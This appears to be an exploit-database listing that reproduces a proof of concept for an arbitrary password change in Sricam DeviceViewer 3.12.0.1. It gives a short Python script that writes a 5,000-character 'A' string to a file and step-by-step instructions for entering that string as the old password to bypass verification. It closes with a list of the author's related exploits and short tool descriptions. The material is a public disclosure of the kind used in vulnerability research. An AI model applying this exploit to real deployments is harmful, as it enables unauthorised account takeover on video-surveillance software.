Search for hundreds of thousands of exploits

"DeviceViewer 3.12.0.1 - Arbitrary Password Change"

Author

Exploit author

"Alessandro Magnosi"

Platform

Exploit platform

windows

Release date

Exploit published date

2019-10-09

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Exploit Title: DeviceViewer 3.12.0.1 - Arbitrary Password Change
# Date: 2019-09-10
# Exploit Author: Alessandro Magnosi
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7

#!/usr/bin/python

# Steps to reproduce:
#   1. Generate the payload executing the PoC
#   2. Login in the Sricam DeviceViewer application as any registered user
#   3. Go to System Tools -> Change Password
#   4. Set the old password as the malicious payload, and the new password as whatever you want
#   5. The password will be changed with the new one
#   6. To confirm, restart the application and try to login with the new password

payload = "A" * 5000

try:
	bypass = open("bypass.txt","w")
	print("### Sricam DeviceViewer 3.12.0.1 Change Password Security Bypass")
	print("### Author: Alessandro Magnosi\n")
	print("[*] Creating old password file")
	bypass.write(payload)
	bypass.close()
	print("[+] Old password file created\n")
	print("[i] When changing password, set the old password to the file contents")
	print("[i] Close the program and reopen it")
	print("[i] Log in with new password")
except:
	print("[!] Error creating the file")
Release DateTitleTypePlatformAuthor
2019-12-17"NopCommerce 4.2.0 - Privilege Escalation"webappsaspx"Alessandro Magnosi"
2019-10-09"DeviceViewer 3.12.0.1 - Arbitrary Password Change"localwindows"Alessandro Magnosi"
2019-10-09"Foscam Video Management System 1.1.6.6 - 'UID' Denial of Service (PoC)"doswindows"Alessandro Magnosi"
2019-10-09"DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass)"localwindows"Alessandro Magnosi"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47476/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.